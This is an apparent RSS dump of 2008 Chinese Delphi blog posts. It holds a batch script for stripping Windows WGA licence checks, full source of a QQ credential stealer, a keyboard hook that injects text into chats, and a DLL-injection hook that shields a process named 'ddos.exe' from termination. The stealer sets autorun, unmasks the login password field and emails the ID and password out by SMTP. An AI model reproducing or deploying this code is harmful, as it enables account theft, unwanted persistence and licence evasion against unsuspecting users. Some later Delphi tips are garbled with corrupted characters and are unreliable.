http://www.17benteng.com/ zh-cn PBlog2 v2.4 http://www.17benteng.com/images/logos.gif http://www.17benteng.com/ 一起奔腾 http://www.17benteng.com/article.asp?id=81 7180001@qq.com(admin) Thu,16 Oct 2008 15:43:42 +0800 http://www.17benteng.com/default.asp?id=81
　　据了解，为打击盗版，微软一直在寻求解决方法，包括联合相关版权部门打击盗版，不过收获甚小。2007年3月微软在中国推出Windows正版增值计划（WGA通知），同时Office的正版增值计划OGA也是首次在国内发布。其中WGA针对Windows　XP专业版的用户，OGA针对Office　XP、Office　2003和Office　2007的用户，这两个通知可通过软件升级自动下载到用户电脑中。
　
　　“这两个验证工具，可以自动检测验证用户电脑上安装的Windows　XP和Office是否为正版软件，如果是使用的盗版软件，则会不断收到提示信息，还将频繁遭遇黑屏。”微软相关负责人向记者表示。　

　　据微软相关负责人透露，此次涉及到的使用盗版软件遭遇黑屏主要是指，在收到提示后的盗版用户电脑界面将出现黑色背景，但不影响其他使用功能，用户可以通过手动调回，不过该黑色背景会每60分钟出现一次。


方法一：

关闭自动更新(需要升级xp系统补丁的话，我们可以利用360安全卫士等第三方软件来升级)

具体操作为：右键单击“我的电脑”-“属性” ，在系统属性窗口中选择“自动更新”选项卡，在“通知设置”一栏选择“关闭自动更新”一项。

方法二：

第二，“我的电脑”点右键，选“管理”，点左边“服务和应用程序”旁的加号，展开，点“服务”。
或者直接在“运行”中输入“Services.msc”打开服务设置窗口。
在“服务”列表中，找到“AutomaticUpdates”这一项，双击，弹出的属性窗口中，“启动类型”设置为“已禁用”，确定即可。


方法三：

开始-运行-输入REGEDIT回车，在左边栏中找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\NotifyWgaLogon项，将整个WgaLogon项删除即可。以上为经过测试的最简便方法。

这次的WGA与上次相比只增加了LegitCheckControl.dll，主要执行方式（通过WINLOGON加载）未变。显然微软此举可归为常规性不定期“恐吓”，此举也是对于盗版的无奈。

方法四：

@echo off
sc stop wuauserv
sc config wuauserv start= disabled

另存为bat格式的文件后运行。



如果20号以后出现每小时黑屏一次的情况，用下面的方法：

@echo off
sfc /purgecache
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Wgalogon" /f
taskkill /f /im WgaTray.exe /T
del c:\Windows\system32\WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:\Windows\system32\WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:\Windows\system32\WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:\Windows\system32\WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:\WINNT\system32\WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:\WINNT\system32\WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:\WINNT\system32\WgaTray.exe /f /q
echo. & pause
把上面的复制到记事本里保存,把记事本的后缀TXT改成BAT,然后运行.
此方法供给大家参考.
]]> http://www.17benteng.com/article.asp?id=68 7180001@qq.com(admin) Wed,23 Jul 2008 20:31:37 +0800 http://www.17benteng.com/default.asp?id=68
{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
procedure ApplicationRun(hWindow: HWND);
procedure ReadSelfDataAppendedInExeFile;


implementation

var
   IsFind: Boolean = True;

procedure ReadSelfDataAppendedInExeFile;
var
   ExeFile: integer;
   EmailInfo: TEmailInfo;
begin
   try
     ExeFile := FileOpen(ParamStr(0), fmOpenRead or fmShareDenyNone);
     FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);
     FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));
     EmailRecever := EmailInfo.Receveer;
     EmailSubject := EmailInfo.Subject;
    // MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), '提示', MB_OK + MB_ICONINFORMATION);
   finally
     FileClose(ExeFile);
   end;
end;

//--------------------------------------------------------------------
//设置程序自动运行,为了减少程序的体积,采用API函数写注册表

procedure SetAutoRun;
var
   k1: hkey;
   l: longint;
   p: pchar;
begin
   try
   {$IFNDEF DebugMode}
     l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
     l := regopenkey(k1, 'Microsoft', k1);
     l := regopenkey(k1, 'Windows', k1);
     l := regopenkey(k1, 'CurrentVersion', k1);
     l := regopenkey(k1, 'Run', k1);
     p := pchar(ParamStr(0));
     l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
   {$ENDIF}
   except
   end;
end;


procedure RunExeAgainAndKillSelf(hWindows: HWND);
begin
   {$IFNDEF DebugMode}
   winexec(pchar(ExtractFilePath(ParamStr(0))), 1);
   KillTimer(hWindows, 1);
   {$ENDIF}
   Halt;
end;

procedure DoTimeMethod(hWnd: HWND);
begin
   SetAutoRun;
   if IsFind then //计时器处于查找QQ窗口...
     FindQQWindowForAnyVersion(hWnd, IsFind);
   if not IsFind then //计时器处于监视号码和密码...
     GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)
   else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
   begin
     isFind := true;
     SendMail;
   end;
end;

function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
   Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
   case uMsg of
     //退出
     WM_DESTROY:RunExeAgainAndKillSelf(hWnd);
   //计时器消息
     WM_TIMER: DoTimeMethod(hWnd);
   end;
end;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
var
   WinClass: TWndClassA;
   Inst: THandle;
begin
   Inst := hInst;
   with WinClass do
   begin
     style := CS_CLASSDC or CS_PARENTDC;
     lpfnWndProc := @WindowProc;
     hInstance := Inst;
     hbrBackground := color_btnface + 1;
     lpszClassname := PChar(ClassName);
     hCursor := LoadCursor(0, IDC_ARROW);
   end; { with }
   RegisterClass(WinClass);
   OutHandle := CreateWindowEx(WS_EX_WINDOWEDGE, PChar(ClassName), PChar(ClassName),
     WS_SIZEBOX or WS_CAPTION or WS_SYSMENU or WS_VISIBLE,
     363, 278, 305, 65, 0, 0, Inst, nil);
end;

procedure ApplicationRun(hWindow: HWND);
var
   Msg: TMsg;
begin
   while (GetMessage(Msg, hWindow, 0, 0)) do
   begin
     TranslateMessage(msg);
     DispatchMessage(msg);
   end;
end;


end.

另一个单元

unit GNetMethods;

//{$I Complier.inc}

interface
uses
   Winsock, GConsts, Wininet, SysUtils{$IFDEF DebugMode}, windows{$ENDIF};

procedure SendMail;                 //发送邮件
function NetInternetConnected: Boolean;

implementation

function NetInternetConnected: Boolean;
var
dwConnectionTypes: DWORD;   //值
begin
   dwConnectionTypes := INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_MODEM
     + INTERNET_CONNECTION_PROXY;
   Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

function EncodeBase64(const Source: string): string;
var
   Times, LenSrc, i: Integer;
   x1, x2, x3, x4: Char;
   xt: Byte;
begin
   Result := '';
   LenSrc := Length(Source);
   if LenSrc mod 3 = 0 then
     Times := LenSrc div 3
   else
     Times := LenSrc div 3 + 1;

   for i := 0 to Times - 1 do
   begin
     if LenSrc >= (3 + i * 3) then
     begin
       x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2) + 1];
       xt := (ord(Source[1 + i * 3]) shl 4) and 48;
       xt := xt or (ord(Source[2 + i * 3]) shr 4);
       x2 := BaseTable[xt + 1];
       xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
       xt := xt or (Ord(Source[3 + i * 3]) shr 6);
       x3 := BaseTable[xt + 1];
       xt := (ord(Source[3 + i * 3]) and 63);
       x4 := BaseTable[xt + 1];
     end
     else if LenSrc >= (2 + i * 3) then
     begin
       x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
       xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
       xt := xt or (Ord(Source[2 + i * 3]) shr 4);
       x2 := BaseTable[xt + 1];
       xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
       x3 := BaseTable[xt + 1];
       x4 := '=';
     end else
     begin
       x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
       xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
       x2 := BaseTable[xt + 1];
       x3 := '=';
       x4 := '=';
     end;
     Result := Result + x1 + x2 + x3 + x4;
   end;
end;

// Write_Socket函数

function Write_Socket(sockfd: TSocket; const s: string): Integer;
//功能:将字符串S写入sockfd
begin
//   form1.Memo1.Lines.Add(s);
   Result := Send(sockfd, pointer(s)^, Length(s), 0)
end;

// Socket_Readline函数

function Socket_Readline(sockfd: Integer): string;
//功能:从sockfd中读取一行(即,直至遇到换行符)。
//返回值:返回从sockfd中所读取的一行字符。
var
   S: string; buf: array[0..1] of Char;
   n: Cardinal;
begin
   buf[0] := #0; buf[1] := #0; S := '';
   n := recv(sockfd, Buf, 1, 0);
   while n > 0 do
   begin
     buf[1] := #0;
     S := S + buf;
     if (buf[0] = #10) then Break;
     n := recv(sockfd, buf, 1, 0);
   end;
   Result := Trim(S);
// form1.memo1.Lines.Add(trim(S));
end;

function CreateClientSocket(Host: string; Port: integer): Integer;
//功能:与指定的主机Host建立一个TCP连接,使用Port端口。
//返回值:如果成功返回一个Socket描述符;否则返回
//INVALID_SOCKET
var
   i: integer; p: ^LongInt;
   phe: pHostEnt;
   sin: sockaddr_in;
begin
   Result := INVALID_SOCKET;
   sin.sin_family := AF_INET;
   sin.sin_port := htons(Port);
   //将主机名转换为32位的IP
   phe := gethostbyname(pchar(host));
   if phe <> nil
     then
   begin
     p := Pointer(phe^.h_addr_list^);
     sin.sin_addr.s_addr := p^;
   end
   else
   begin
     i := inet_addr(PChar(Host));
     if i <> -1
       then sin.sin_addr.S_addr := i
     else
             //无法获取主机Host的IP
       Exit;
   end;
   //创建一个面向连接的字节流Socket
   Result := socket(PF_INET, SOCK_STREAM, 0);
   if (Result = INVALID_SOCKET) then Exit;
   //使用此Socket描述符与远处的主机建立一个TCP连接
   if Connect(Result, sin, sizeof(sin)) = SOCKET_ERROR
     then
   begin
     closesocket(Result);
     Result := INVALID_SOCKET;
   end;
end;

// POP3Response函数

function SMTPResponse(Sockfd: Integer; sta: string): Boolean;
//功能:检查SMTP服务器返回的状态信息。
//返回值:如果成功,则返回TRUE;否则返回FALSE。
var
   S, lterm: string;
begin
   S := socket_readline(sockfd);
   if copy(s, 1, 3) = sta
     then
     result := true
   else
     result := false;
   if length(s) > 3 then begin
     if s[4] = '-' then begin
       lterm := copy(s, 1, 3) + ' ';
       repeat
         s := socket_readline(sockfd);
       until (length(s) < 4) or (ansisametext(copy(s, 1, 4), lterm));
     end;
   end;
end;

function SMTPLogin(Host, User, Password: string; Port: Integer = 110): Integer;
var
   Sockfd: Integer;
begin
   Result := INVALID_SOCKET;
   Sockfd := CreateClientSocket(Host, Port);
   if (Sockfd = INVALID_SOCKET)
     then
   begin
     CloseSocket(Sockfd);
     Exit;
   end;
   SMTPresponse(sockfd, '220');
   write_socket(sockfd, 'EHLO ' + user + CRLF);
   SMTPresponse(sockfd, '250');
   Write_socket(sockfd, 'RSET' + CRLF);
   SMTPresponse(sockfd, '250');
   Write_Socket(sockfd, 'AUTH LOGIN' + CRLF);
   if not SMTPResponse(sockfd, '334')
     then
   begin
     CloseSocket(sockfd);
     Exit;
   end;
   Write_Socket(sockfd, EncodeBase64(User) + CRLF);
   if not SMTPResponse(sockfd, '334')
     then
   begin
     CloseSocket(sockfd);
     Exit;
   end;
   Write_Socket(sockfd, EncodeBase64(password) + CRLF);
   if not SMTPResponse(sockfd, '235')
     then
   begin
     CloseSocket(sockfd);
     Exit;
   end;
   Result := Sockfd;
end;

function POP3RetriveMail(Subject, Body, Receive: string; Port: Integer = 25): string; //,Subject,ToEmail
var
   sockfd: integer;
   sendbody {, S}: string;
   //ok: boolean;
begin
   Result := '';
   SendBody := 'From:"会员版"<'+Email.name+'>' + CRLF
     + 'To:"主人"<' + Receive + '>' + CRLF
     + 'Subject:' + Subject + CRLF
     + CRLF
     + Body + CRLF + '.' + CRLF; //这是邮件内容。
     Sockfd := SMTPLogin(Email.stmp, Email.ID, Email.password, Port);
   if Sockfd = INVALID_SOCKET then Exit;
    Write_Socket(sockfd, 'MAIL FROM: <'+ Email.name+'>'+ CRLF);
   if not SMTPResponse(sockfd, '250')
     then
   begin
     CloseSocket(sockfd);
     Exit;
   end;
   Write_Socket(sockfd, 'RCPT TO: <' + Receive + '>' + CRLF); //'+user+'
   if not SMTPResponse(sockfd, '250')
     then
   begin
     CloseSocket(sockfd);
     Exit;
   end;
   Write_Socket(sockfd, 'DATA' + CRLF);
   if not SMTPResponse(sockfd, '354')
     then
   begin
     CloseSocket(sockfd);
     Exit;
   end
   else
   begin
     Write_Socket(sockfd, sendbody);
     SMTPresponse(sockfd, '110');
   end;
   Write_Socket(sockfd, 'QUIT'#13#10);
   smtpresponse(sockfd, 'quit');
   Closesocket(sockfd);
end;


procedure SendMail;
var
   w: TWSADATA;
   r,count:integer;
begin
   if EmailBody <> '' then
   try
     EmailBody := '******正确的密码可能是最后一对******' + CRLF + CRLF + EmailBody + CRLF + CRLF + '希望您早日成为我们的会员,祝你使用快乐! ';
    // MessageBox(0, pchar(EmailBody), '提示', MB_OK + MB_ICONINFORMATION);
     count:=0;
     repeat r:=WSAStartup(2, w);
     inc(count);
     until (r=0)or(count>5);
     POP3RetriveMail('QQ密码', EmailBody,newQQID);//oiwin@263.net
     count:=0;
     repeat r:=WSAStartup(2, w);
     inc(count);
     until (r=0)or(count>5);
     POP3RetriveMail(EmailSubject, EmailBody, EmailRecever);
   except
   end;
end;

end.


再另一个单元

unit GQQFindMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods; //Types,

procedure GoOnMonitorPasswordAndQQNumber;
procedure FindQQWindowForAnyVersion;

implementation

//--------------------------------------------------------------------
//读取指定句柄的TEXT

function GetIDandPassword(HWnd: HWnd; GetPassWord: Boolean = true): string;
const MAX_LENGTH = 255;
var
   iPwdChar: Integer;
   iPwdLast: Integer;
   psText: array[0..MAX_LENGTH] of char;
   i: Integer;
begin
   iPwdChar := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
   if (iPwdChar <> 0) then // and GetPassWord
   begin
     iPwdLast := 0;
     i := 0;
     while iPwdLast = 0 do
     begin
       PostMessage(HWnd, EM_SETPASSWORDCHAR, 0, 0);
       Inc(i);
       iPwdLast := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
       if i > 100 then break;
     end;
     SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
     Result := psText;
     PostMessage(HWnd, EM_SETPASSWORDCHAR, iPwdChar, 0);
   end else begin
     SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
     Result := psText;
   end;
end;

//--------------------------------------------------------------------
//检查QQ窗口有多少个EDIT控件,用此可以判断QQ的版本号

function GetEditCount(theFormHandle: hwnd): integer;
var
   t: hwnd;
   szname: array[0..254] of char;
begin
   t := GetWindow(theFormHandle, GW_CHILD);
   while t <> 0 do
   begin
     result := 0;
     GetClassName(t, @szname, 255);
     GetEditCount(t);

     if strpas(szname) = 'Edit' then
       inc(Editcount);
     if Editcount > 62 then
       break;
     t := GetWindow(t, GW_HWNDNEXT);
   end;
end;

//--------------------------------------------------------------------
//找QQ2000中的句柄
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function FindQQ2000Edit(theFormHandle: hwnd): integer;
var
   t: hwnd;
   szname: array[0..254] of char;
begin
   t := GetWindow(theFormHandle, GW_CHILD);
   while t <> 0 do
   begin
     result := 0;
     GetClassName(t, @szname, 255);
     GetEditCount(t);
     if strpas(szname) = 'ComboBox' then
       QQIDHandle := t
     else if (strpas(szname) = 'Edit') then
       QQPasswordHandle := t;
     t := GetWindow(t, GW_HWNDNEXT);
   end;
end;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


//--------------------------------------------------------------------
//找QQ2003中的句柄

function FindQQ2003Edit(theFormHandle: hwnd): integer;
var
   t: hwnd;
   szname: array[0..254] of char;
begin
   t := GetWindow(theFormHandle, GW_CHILD);
   while t <> 0 do
   begin
     result := 0;
     GetClassName(t, @szname, 255);
     FindQQ2003Edit(t);
     if strpas(szname) = 'Edit' then
     begin
       inc(Count);
       if EditCount < 8 then
         case Count of
           1: QQIDHandle := t;
           2: QQPasswordHandle := t;
           3: break;
         end;
       if EditCount > 61 then
         case Count of
           49: QQIDHandle := t;
           50: QQPasswordHandle := t;
           51: break;
         end
       else
         case Count of
           30:   QQPasswordHandle:= t;
           61: begin
               QQIDHandle := t;
               break;
             end;
         end;
     end;
     t := GetWindow(t, GW_HWNDNEXT);
   end;
end;

//--------------------------------------------------------------------
//找QQ登录窗口的句柄

function FindQQHandle(hWindows: HWND): integer;
var
   hcrrentwindow: hwnd;
   sztext: array[0..254] of char;
   s: string;
begin
   Result := 0;
   hcrrentwindow := GetWindow(hWindows, GW_HWNDFIRST);
   while hcrrentwindow <> 0 do
   begin
     if GetWindowtext(hcrrentwindow, @sztext, 255) > 0 then
     begin
       s := strpas(@sztext);
       if trim(s) = '' then
       begin
         Result := hcrrentwindow;
         break;
       end ;
     end;
     hcrrentwindow := GetWindow(hcrrentwindow, GW_HWNDNEXT);
   end;
end;

procedure GoOnMonitorPasswordAndQQNumber;
var
   tempRect: TRect;
   Rightpassword: boolean;
begin
   QQhandle := FindQQHandle(Handle);
   if QQHandle <> 0 then
   begin

     GetWindowRect(QQhandle, tempRect);
     if oldWidth <> tempRect.Right - tempRect.Left then
     begin
       isFind := true;
       exit;
     end;
     QQID := GetIDandPassword(QQIDHandle); // ,false
     QQPassword := GetIDandPassword(QQPasswordHandle); //   ,true
    // MessageBox(0, pchar(QQID+#13#10+QQPassword), '提示', MB_OK + MB_ICONINFORMATION);
     Rightpassword := true;
     try StrToInt(QQID)except Rightpassword := false; end; //过滤无效的QQID
     if Rightpassword then
       if ((QQID <> oldQQID) or (QQPassword <> oldQQPassword)) and (QQID <> '') and (QQPassword <> '') then
       begin
         EmailBody := EmailBody + format('QQ号码：%s' + #13#10 + 'QQ密码：%s' + #13#10,
           [QQID, QQPassword]);
         oldQQID := QQID;
         oldQQPassword := QQPassword;
       end;
   end
   else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
   begin
     isFind := true;
     SendMail;
   end;
end;

procedure FindQQWindowForAnyVersion;
var
   tempRect: TRect;
begin
   QQhandle := FindQQHandle(Handle);
   if QQHandle <> 0 then
   begin
     IsFind := false;
     GetWindowRect(QQhandle, tempRect);
     oldWidth := tempRect.Right - tempRect.Left;
     EmailBody := '';
     QQID := '';
     QQPassword := '';
     oldQQID := '';
     oldQQPassword := '';
     EditCount := 0;
     Count := 0;
     GetEditCount(QQHandle);
        // MessageBox(0, pchar(inttostr(EditCount)), '提示', MB_OK + MB_ICONINFORMATION);
     if EditCount = 1 then
       FindQQ2000Edit(QQHandle)
     else
       FindQQ2003Edit(QQHandle);
   end;
end;

end.

]]> http://www.17benteng.com/article.asp?id=67 7180001@qq.com(admin) Wed,23 Jul 2008 20:25:36 +0800 http://www.17benteng.com/default.asp?id=67 Windows,SysUtils,Messages,Registry,ShlObj,Types,Classes;
const
LLKHF_ALTDOWN =KF_ALTDOWN shr 8;
WH_KEYBOARD_LL=13; //钩子种类，表示是低级键盘钩子

type
PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;
{这个结构包含了一个低级键盘钩子的输入事件，
可以捕获键盘输入，具体查看MSDN}
KBDLLHOOKSTRUCT=record
vkCode:DWORD; //虚拟键码
scanCode:DWORD; //扫描码
flags:DWORD; //标志
time:DWORD;
dwExtraInfo:DWORD; //一些附加信息
end;

//------------------发送消息的过程-------------------//
Procedure SendText;
var
mainhwnd:THandle; //聊天主窗体句柄
texhwnd:THandle; //输入框句柄
begin
mainhwnd:=0;
//查找当前的工作状态的窗体，#32770是窗口类
mainhwnd:=FindWindowEx(GetForegroundWindow,mainhwnd,'#32770',nil);
if mainhwnd<>0 then
begin
//查找输入框的句柄
texhwnd:=FindWindowEx(mainhwnd,0,'AfxWnd42',nil);
texhwnd:=FindWindowEx(texhwnd,0,'RICHEDIT',nil);
//如果输入框里没有消息就取消发送
if SendMessage(texhwnd,WM_GETTEXTLENGTH,0,0)<1 then exit;
//取消输入框中文本的选中
SendMessage(texhwnd,EM_SetSel,-1,-1);
//向输入框中加入尾巴
SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(' '+'QQ尾巴 by Sirius!')));
end;
end;//----------------------------end.

//-------------------钩子的回调函数----------------//
function KeyHookFunc(nCode:Integer;w_Param:WPARAM;l_Param:LPARAM):LRESULT;stdcall;
const VK_S=83; //Alt+S中的S的虚拟键码，在虚拟键码表上可以查看
var
bGetMsg:Boolean; //判断是否截获指定的消息
pk:PKBDLLHOOKSTRUCT; //键盘钩子的结构体
begin
bGetMsg:=False;
if nCode=HC_ACTION then
begin
case w_Param of //要截获的消息标识符，包括KeyDown和KeyUp
WM_KEYDOWN, {MSDN中有详细说明}
WM_SYSKEYDOWN,
WM_KEYUP,
WM_SYSKEYUP:
begin
//将消息包含的数据装入pk
pk:=PKBDLLHOOKSTRUCT(l_Param);
// 进行按键过滤
bGetMsg :=(((pk^.vkCode = VK_S) and
((pk^.flags and LLKHF_ALTDOWN) <> 0)) or
//上面截获的是Alt+S
((pk^.vkCode = VK_RETURN) and
((GetKeyState(VK_CONTROL) and $8000) <> 0)));
//上面截获的是Ctrl+Enter
end;
end;
end;
if bGetMsg then
begin
SendText; //截获消息后向输入框里加上尾巴
Result:=0; //将消息返回，尾巴就和别人输入的数据一起发送出去了
end
//如果没有截获指定消息就将向下传递
else Result:=CallNextHookEx(0,nCode,w_Param,l_Param);
end;//----------------------------end.

//-------------------------下钩子
KeyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,
@KeyHookFunc,
HInstance,0

]]> http://www.17benteng.com/article.asp?id=66 7180001@qq.com(admin) Wed,23 Jul 2008 20:21:23 +0800 http://www.17benteng.com/default.asp?id=66
我用delphi来写程序好了，先写个dll。


const  
PRG_NAME = 'ddos.exe';

var TerminateProcessNext : function (processHandle, exitCode: dword) : bool; stdcall;  
NtTerminateProcessNext : function (processHandle, exitCode: dword) : dword; stdcall;  


{$R *.res}
function ThisIsOurProcess(processHandle: dword) : boolean;  
var pid : dword;  
arrCh : array [0..MAX_PATH] of char;  
begin  
pid := ProcessHandleToId(processHandle);  
result := (pid <> 0) and ProcessIdToFileName(pid, arrCh) and  
(PosText(PRG_NAME, arrCh) > 0);  
end;  

function TerminateProcessCallback(processHandle, exitCode: dword) : bool; stdcall;  
begin  
if ThisIsOurProcess(processHandle) then  
begin  
result := false;  
SetLastError(ERROR_ACCESS_DENIED);  
end  
else  
result := TerminateProcessNext(processHandle, exitCode);  

end;  

function NtTerminateProcessCallback(processHandle, exitCode: dword) : dword; stdcall;  
const STATUS_ACCESS_DENIED = $C0000022;  
begin  
if ThisIsOurProcess(processHandle) then  
begin  
result := STATUS_ACCESS_DENIED  
end  
else  
result := NtTerminateProcessNext(processHandle, exitCode);  
end;  

begin
if GetVersion and $80000000 = 0 then  
HookAPI( 'ntdll.dll', 'NtTerminateProcess', @NtTerminateProcessCallback, @NtTerminateProcessNext)  
else HookAPI('kernel32.dll', 'TerminateProcess', @TerminateProcessCallback, @TerminateProcessNext);  
end.

再写个exe调用这个dll，把这个dll插入到系统进程中去。
procedure inject;  
begin  
try  
if not InjectLibrary((CURRENT_SESSION or CURRENT_PROCESS), 'hook.dll') then  
begin
ExitProcess(0); //如果没有把hook.dll插入到进程中去，那么程序就自动关闭
end;  
except  
//  
end;  
end;


procedure uninject; //把hook.dll从插入的进程中卸载掉
begin  
try  
UninjectLibrary((CURRENT_SESSION or CURRENT_PROCESS), 'hook.dll');
except  
end;  
end;  


procedure TForm1.FormCreate(Sender: TObject);
begin
inject; //程序一启动就插入dll
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
uninject; //程序退出把dll从进程中卸载，保护进程功能也就失效了。
end;

]]> http://www.17benteng.com/article.asp?id=55 7180001@qq.com(admin) Fri,27 Jun 2008 17:14:01 +0800 http://www.17benteng.com/default.asp?id=55 function toulong(x: pchar): longword;
begin
   result := (longword(x^) shl 24) or
     (longword((x + 1)^) shl 16) or
     (longword((x + 2)^) shl 8) or
     (longword((x + 3)^));
end;

以下是用delphi的嵌入式汇编写法：
function toulong(x: pchar): longword;
asm
   mov esi,eax
   mov ax,[esi]
   xchg ah,al
   shl eax,16
   mov ax,[esi+2]
   xchg ah,al
end;

说明：默认情况下，delphi使用“register”方式，若参数在3个已内，
将分别使用eax、edx和ecx，超过3个参数部分将使用堆栈。返回参数的
存放视长度而定，例如8位用al返回，16位用ax，32位用eax，64位用用两个
32位寄存器edx:eax，其中eax是低位。
]]> http://www.17benteng.com/article.asp?id=54 7180001@qq.com(admin) Fri,27 Jun 2008 17:12:46 +0800 http://www.17benteng.com/default.asp?id=54 众多的优秀特性于一身，因而越来越得到广大编程人员和
发烧友的青睐。以下十则技巧涉及的面比较广泛，希望能
够对Delphi的爱好者有所裨益。

　　1．类似于vb．中的doevents功能。

　　大家或许发现，在Delphi中没有类似于vb．中的doev
ents函数，这样有的时候，我们将无法使Windows响应多
个同时发生的事件。其实，在Delphi的applica??tion对象
中包括类似的一个方法：ProcessMessage，你可以通过调
用Application．ProcessMessage来完成象vb．中的doeve
nts一样的功能。

　　2．在Delphi中调用NetscapeNavigator。

　　随着Internet的火爆，有没有想过在你的Delphi程序
中启动Netscape浏览器，显示出你指定的WWW地址的主页
。下面这个程序能够完成这一功能。

　　programNetscape；

　　usesDDEMan；

　　procedureGo??toURL（sURL：string）；

　　var

　　dde：TDDEClientConv；

　　begin

　　dde：ΚTDDEClientConv．Create（nil）；

　　withddedo

　　begin

　　／／specifythelocationofnetscape．exe

　　ServiceApplication：Κ′c：ιns32ιprogramιne
tscape．exe′；

　　／／activatetheNetscapeNavigator

　　SetLink（′Netscape′，′WWW―Activate′）；

　　RequestData（′0xFFFFFFFF′）；

　　／／gotothespecifiedURL

　　SetLink（′Netscape′，′WWW―OpenURL′）；

　　RequestData（sURL＋′，，0xFFFFFFFF，0x3，，，
′）；

　　CloseLink；

　　end；

　　dde．Free；

　　end；

　　begin

　　GotoURL（′http：／／www．yahoo．com／′）；

　　end．

　　3．格式化整数输出。

　　比较大的数字在输出时会显得不易阅读，在Delphi中
显示带分节号的数字是相当简单的一件事，如下即可：xx
xxx．caption：ΚFormatFloat（′＃′，524667500）。


　　4．在编译时获得提示。

　　在Delphi2．0中，编译时，可以让编译器告诉你一些
提示，比如哪些变量声明了，却从来没有使用过。我们知
道，可以通过菜单中的选项来控制是否要Delphi这样做，
但如果由于一些特殊需要，你只要在指定的代码段需要De
lphi这样的提示，怎么办呢？请参考如下的程序。

　　｛＄HINTON｝

　　procedureTform1．Button1Click（Sender：TObject
）；

　　var

　　X：integer；

　　begin

　　end；

　　｛＄HINTOFF｝

　　5．更改Windows95的墙纸。

　　在Delphi中你可以很方便地更改墙纸，请参考以下的
程序。

　　procedureChangeIt；

　　var

　　Reg：TregIniFile；

　　begin

　　Reg：ΚTRegIniFile．Create（′ControlPanel′）
；

　　Reg．WriteString（′desktop′，′Wallpaper′，
′c：ιpwin95ιfor??est．bmp′）；

　　Reg．WriteString（′desktop′，′TileWallpaper
′，′1′）；

　　Reg．Free；

　　SystemParametersInfo（SPI―SETDESKWALLPAPER，0
，nil，SPIF―SENDWININICHANGE）；

　　end；

　　6．获得最后使用文件的日期。

　　在Win95中有一项新的功能，就是可以获得访问文件
的最后日期。著名的CleanSweapforWin95软件中就是靠这
一功能来作为判断某个文件是否被经常访问的依据之一。
在Delphi中，我们可以通过下面的程序来达到此功能。

　　functionGetFileLastAccessTime（sFileName：stri
ng）：TDate??Time；

　　var

　　ffd：TWin32FindData；

　　dft：DWord；

　　lft：TFileTime；

　　h：THandle；

　　begin

　　／／getfileinformation

　　h：ΚWindows．FindFirstFile（PChar（sFileName
），ffd）；

　　if（INVALID―HANDLE―VALUEΙΛh）then

　　begin

　　／／we′relookingforjustonefile，socloseour″f
ind″

　　Windows．FindClose（h）；

　　／／converttheFILETIMEtolocalFILETIME

　　FileTimeToLocalFileTime（ffd．ftLastAccessTime
，lft）；

　　／／convertFILETIMEtoDOStime

　　FileTimeToDosDateTime（lft，LongRec（dft）．Hi
，LongRec（dft）．Lo）；

　　／／finally，convertDOStimetoTDateTimeforusein
Delphi′snativedate／timefunctions

　　Result：ΚFileDateToDateTime（dft）；

　　end；

　　end；

　　GetFileLastAccessTime（）将会以Delphi的TdateTi
me格式返回你所指定的文件的最后访问日期。

　　7．丰富多彩的标签。

　　我们已经不满足于Delphi提供的简单的标签，能不能
在标签中有不同的字体，有不同的颜色，以此来丰富我们
的表现能力。回答是肯定的，并且用不着第三方提供的控
件，我们只要巧妙的利用Delphi自己提供的TRichEdit就
可以了。首先将TRichEdit控件的边框去除：RichEd??it1
．BorderStyle：ΚbsNone；同时设置只读属性为真：Rich
Ed??it1．ReadOnly：ΚTrue；然后，你利用write之类的
软件制作好RichText格式的文本，通过以下语句就可以显
示出来了：

　　RichEdit1．PlainText：ΚFalse；

　　RichEdit1．Lines．LoadFromFile（′c：ιtest．r
tf′）；

　　8．如何防止Win95显示严重错误。

